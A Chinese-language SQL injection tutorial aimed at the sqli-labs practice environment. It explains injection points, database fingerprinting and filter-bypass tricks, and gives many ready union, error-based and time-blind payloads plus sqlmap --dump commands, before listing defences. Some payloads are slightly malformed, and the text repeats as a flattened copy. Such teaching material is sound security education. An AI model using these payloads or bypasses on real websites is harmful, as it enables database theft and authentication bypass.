SQL注入原理及思路(绕过)-超详细
字数 3462 2025-08-11 08:36:31

SQL注入原理及绕过技术详解

1. SQL注入基础概念

1.1 SQL注入定义

SQL注入是指当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

1.2 SQL注入本质

SQL注入的本质是把用户输入的数据当作代码来执行,违背了"数据与代码分离"的原则。

1.3 SQL注入关键点

  1. 用户能控制输入的内容
  2. Web应用把用户输入的内容带入到数据库执行

1.4 SQL注入危害

  • 盗取网站的敏感信息
  • 绕过网站后台认证
  • 借助SQL注入漏洞提权获取系统权限
  • 读取文件信息

2. MySQL数据库常用函数

  1. user() - 返回当前使用数据库的用户
  2. version() - 返回当前数据库的版本
  3. database() - 返回当前使用的数据库
  4. group_concat() - 把数据库中的某列数据合并为一个字符串
  5. @@datadir - 数据库路径
  6. @@version_compile_os - 操作系统版本

3. SQL注入流程

3.1 联合查询注入流程

  1. 判断有无闭合

    • ?id=1 and 1=1?id=1 and 1=2 结果相同说明需要闭合
    • 有闭合则需要用到 --+ 闭合
  2. 猜解字段

    • order by 10 采用二分法
  3. 判断数据回显位置

    • -1 union select 1,2,3,4,5... (参数等号后面加-表示不显示当前数据)
  4. 获取当前数据库信息

    • union select version(),database(),user(),4...
  5. 获取全部数据库名

    • union select 1,2,(select group_concat(schema_name)from information_schema.schemata)
  6. 获取表名

    • union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='库名')
  7. 获取字段名

    • union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='表名')
  8. 获取数据

    • union select 1,2,(select group_concat(字段1,字段2)from 库名.表名)

4. SQL注入思路

4.1 判断注入点

在以下位置尝试插入代码、符号或语句:

  • GET参数
  • POST参数
  • Cookie
  • Referer
  • XFF (X-Forwarded-For)
  • User-Agent

4.2 注入点类型

  1. GET注入:在GET传参时写入参数,将SQL语句闭合
  2. POST注入:通过POST传参,原理与GET相同
  3. Cookie注入:修改cookie的值进行注入
  4. Referer注入:在访问路径进行SQL注入
  5. XFF注入:在HTTP头信息添加X-Forwarded-for进行注入
  6. UA注入:在User-Agent处注入

4.3 判断数据库类型

  1. 使用数据库特有函数判断

  2. 使用数据库专属符号判断(如注释符号、多语句查询符)

  3. 报错信息判断

  4. 数据库特性判断

  5. 端口扫描判断

    • Oracle: 1521
    • SQL Server: 1433
    • MySQL: 3306
    • PostgreSQL: 5432
  6. 网站类型与数据库联系

    • ASP: SQL Server, Access
    • .NET: SQL Server
    • PHP: MySQL, PostgreSQL
    • Java: Oracle, MySQL
  7. 根据注释符判断

    • # - MySQL
    • -- - Oracle和MSSQL
    • ; - 子句查询标识符(Oracle不支持多行查询)
  8. 根据数据库特有表判断

    • MSSQL: sysobjects
    • Access: msysobjects
    • MySQL(5.0+): information_schema.TABLES
    • Oracle: sys.user_tables

4.4 判断参数数据类型

  1. 数值型注入

    • 使用 and 1=1and 1=2 判断
    • 示例:select * from user where id = 1
  2. 字符型注入

    • 单引号字符型:select * from user where username = 'zhangsan'
    • 双引号字符型:select * from user where username = "zhangsan"
    • 带有括号的注入:
      • 数值型+括号:select * from user where id = (1)
      • 单引号字符串+括号:select * from user where username = ('zhangsan')
      • 双引号字符串+括号:select * from user where username = ("zhangsan")

4.5 判断数据库语句过滤情况

  1. 判断列数(order by是否被过滤)
  2. 判断显示位(页面是否有显示位)
  3. 报错信息(是否有报错信息返回)

5. 绕过技术

5.1 过滤关键字绕过

  1. 使用/**/<>分割关键字:sel<>ectsel/**/ect
  2. 双写绕过:selselectect
  3. 编码绕过:URL编码、16进制编码、ASCII编码

5.2 过滤逗号绕过

  1. 使用join方法:
    union select * from (select 1)a join (select 2)b join (select 3)
    
  2. 使用from for语法:
    • substr(str from pos for len)
    • mid(str from pos for len)
  3. 使用limit offset
    • limit 1 offset 1

5.3 过滤空格绕过

  1. 双空格
  2. /**/
  3. 用括号
  4. 用回车代替(ASCII码为chr(13)&chr(10),URL编码为%0d%0a)

5.4 过滤等号绕过

使用likerlikeregexp<>代替

5.5 过滤大于小于号绕过

  1. greatest(n1,n2,n3,...) - 返回最大值
  2. strcmp(str1,str2) - 字符串比较
  3. in操作符
  4. between and - 选取介于两个值之间的范围

5.6 等价函数绕过

  • hex()bin()ascii()
  • sleep()benchmark()
  • concat_ws()group_concat()
  • mid()substr()substring()
  • @@useruser()
  • @@datadirdatadir()

6. 注入方式选择

6.1 联合查询注入

前提:知道列数且页面上有显示位。

步骤

  1. 判断显示位
  2. 获取所有数据库名
  3. 获取指定数据库所有表名
  4. 获取指定数据库指定表中所有字段名
  5. 获取具体数据

示例

-- 列数
select id,username,password from security.users where id=1 order by 1;

-- 显示位
select id,username,password from security.users where id=1 union select 1,2,3;

-- 数据库名
?id=-1' union select 1,2,database() --+

-- 所有数据库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

-- 指定数据库中表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

-- 指定表中所有字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

-- 具体数据
?id=-1' union select 1,2,group_concat(username,password) from users --+

6.2 报错注入

前提:页面会显示数据库报错信息。

示例

-- 数据库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

-- 所有数据库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+

-- 指定数据库中表名
?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

-- 指定表中所有字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

-- 具体数据
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina' --+

6.3 布尔盲注

适用场景:没有显示位、没有报错信息,但有SQL语句执行错误信息输出。

示例

-- 数据库长度
?id=1' and (length(database()))>7 --+
?id=1' and (length(database()))>8 --+

-- 数据库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

-- 逐个查询数据库名
?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

6.4 时间盲注

适用场景:页面上没有显示位,也没有输出SQL语句执行错误信息。

示例

-- 猜解数据库个数
?id=1 and if((select count(schema_name) from information_schema.schemata)=9,sleep(5),1)

-- 猜解数据库名长度
?id=1 and if((select length(schema_name) from information_schema.schemata limit0,1)=18,sleep(5),1)

-- 猜解数据库名字符
?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),1,1)))=105,sleep(5),1)

-- 当前数据库长度
?id=1'+and+if((length(database()))=7,sleep(5),1) --+

-- 当前数据库名
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+

-- 猜解表名
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108,sleep(5),1) --+

7. 使用工具进行注入

7.1 sqlmap基础命令

  1. 联合查询注入

    .\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=U -v 3
    
  2. 报错注入

    .\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=E -v 3
    
  3. 布尔盲注

    .\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=B -v 3
    
  4. 时间盲注

    .\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3
    

7.2 sqlmap爆破数据

  • --current-db - 当前使用的数据库
  • --dbs - 列出数据库信息
  • -D - 指定数据库,爆破指定数据库中的表
  • -T - 指定数据表名,爆破指定表中的字段
  • -C - 指定字段名,爆破具体数据
  • --dump - 将数据导出、转储

示例

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3 -D security -T users -C username,password --dump

8. 总结

SQL注入是一种危害极大的Web安全漏洞,攻击者可以通过精心构造的SQL语句获取数据库敏感信息、绕过认证甚至获取系统权限。防御SQL注入的关键在于:

  1. 使用参数化查询(预编译语句)
  2. 对用户输入进行严格的过滤和转义
  3. 最小权限原则,数据库账户只授予必要权限
  4. 定期进行安全审计和漏洞扫描

了解SQL注入原理和绕过技术对于安全研究人员和开发人员都至关重要,既能帮助发现和修复漏洞,也能提高系统安全性。

SQL注入原理及绕过技术详解 1. SQL注入基础概念 1.1 SQL注入定义 SQL注入是指当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。 1.2 SQL注入本质 SQL注入的本质是把用户输入的数据当作代码来执行,违背了"数据与代码分离"的原则。 1.3 SQL注入关键点 用户能控制输入的内容 Web应用把用户输入的内容带入到数据库执行 1.4 SQL注入危害 盗取网站的敏感信息 绕过网站后台认证 借助SQL注入漏洞提权获取系统权限 读取文件信息 2. MySQL数据库常用函数 user() - 返回当前使用数据库的用户 version() - 返回当前数据库的版本 database() - 返回当前使用的数据库 group_concat() - 把数据库中的某列数据合并为一个字符串 @@datadir - 数据库路径 @@version_compile_os - 操作系统版本 3. SQL注入流程 3.1 联合查询注入流程 判断有无闭合 ?id=1 and 1=1 和 ?id=1 and 1=2 结果相同说明需要闭合 有闭合则需要用到 --+ 闭合 猜解字段 order by 10 采用二分法 判断数据回显位置 -1 union select 1,2,3,4,5... (参数等号后面加-表示不显示当前数据) 获取当前数据库信息 union select version(),database(),user(),4... 获取全部数据库名 union select 1,2,(select group_concat(schema_name)from information_schema.schemata) 获取表名 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='库名') 获取字段名 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='表名') 获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名) 4. SQL注入思路 4.1 判断注入点 在以下位置尝试插入代码、符号或语句: GET参数 POST参数 Cookie Referer XFF (X-Forwarded-For) User-Agent 4.2 注入点类型 GET注入 :在GET传参时写入参数,将SQL语句闭合 POST注入 :通过POST传参,原理与GET相同 Cookie注入 :修改cookie的值进行注入 Referer注入 :在访问路径进行SQL注入 XFF注入 :在HTTP头信息添加X-Forwarded-for进行注入 UA注入 :在User-Agent处注入 4.3 判断数据库类型 使用数据库特有函数判断 使用数据库专属符号判断 (如注释符号、多语句查询符) 报错信息判断 数据库特性判断 端口扫描判断 Oracle: 1521 SQL Server: 1433 MySQL: 3306 PostgreSQL: 5432 网站类型与数据库联系 ASP: SQL Server, Access .NET: SQL Server PHP: MySQL, PostgreSQL Java: Oracle, MySQL 根据注释符判断 # - MySQL -- - Oracle和MSSQL ; - 子句查询标识符(Oracle不支持多行查询) 根据数据库特有表判断 MSSQL: sysobjects Access: msysobjects MySQL(5.0+): information_schema.TABLES Oracle: sys.user_tables 4.4 判断参数数据类型 数值型注入 使用 and 1=1 和 and 1=2 判断 示例: select * from user where id = 1 字符型注入 单引号字符型: select * from user where username = 'zhangsan' 双引号字符型: select * from user where username = "zhangsan" 带有括号的注入: 数值型+括号: select * from user where id = (1) 单引号字符串+括号: select * from user where username = ('zhangsan') 双引号字符串+括号: select * from user where username = ("zhangsan") 4.5 判断数据库语句过滤情况 判断列数( order by 是否被过滤) 判断显示位(页面是否有显示位) 报错信息(是否有报错信息返回) 5. 绕过技术 5.1 过滤关键字绕过 使用 /**/ 或 <> 分割关键字: sel<>ect 或 sel/**/ect 双写绕过: selselectect 编码绕过:URL编码、16进制编码、ASCII编码 5.2 过滤逗号绕过 使用 join 方法: 使用 from for 语法: substr(str from pos for len) mid(str from pos for len) 使用 limit offset : limit 1 offset 1 5.3 过滤空格绕过 双空格 /**/ 用括号 用回车代替(ASCII码为chr(13)&chr(10),URL编码为%0d%0a) 5.4 过滤等号绕过 使用 like 、 rlike 、 regexp 或 < 、 > 代替 5.5 过滤大于小于号绕过 greatest(n1,n2,n3,...) - 返回最大值 strcmp(str1,str2) - 字符串比较 in 操作符 between and - 选取介于两个值之间的范围 5.6 等价函数绕过 hex() 、 bin() ⇒ ascii() sleep() ⇒ benchmark() concat_ws() ⇒ group_concat() mid() 、 substr() ⇒ substring() @@user ⇒ user() @@datadir ⇒ datadir() 6. 注入方式选择 6.1 联合查询注入 前提 :知道列数且页面上有显示位。 步骤 : 判断显示位 获取所有数据库名 获取指定数据库所有表名 获取指定数据库指定表中所有字段名 获取具体数据 示例 : 6.2 报错注入 前提 :页面会显示数据库报错信息。 示例 : 6.3 布尔盲注 适用场景 :没有显示位、没有报错信息,但有SQL语句执行错误信息输出。 示例 : 6.4 时间盲注 适用场景 :页面上没有显示位,也没有输出SQL语句执行错误信息。 示例 : 7. 使用工具进行注入 7.1 sqlmap基础命令 联合查询注入 : 报错注入 : 布尔盲注 : 时间盲注 : 7.2 sqlmap爆破数据 --current-db - 当前使用的数据库 --dbs - 列出数据库信息 -D - 指定数据库,爆破指定数据库中的表 -T - 指定数据表名,爆破指定表中的字段 -C - 指定字段名,爆破具体数据 --dump - 将数据导出、转储 示例 : 8. 总结 SQL注入是一种危害极大的Web安全漏洞,攻击者可以通过精心构造的SQL语句获取数据库敏感信息、绕过认证甚至获取系统权限。防御SQL注入的关键在于: 使用参数化查询(预编译语句) 对用户输入进行严格的过滤和转义 最小权限原则,数据库账户只授予必要权限 定期进行安全审计和漏洞扫描 了解SQL注入原理和绕过技术对于安全研究人员和开发人员都至关重要,既能帮助发现和修复漏洞,也能提高系统安全性。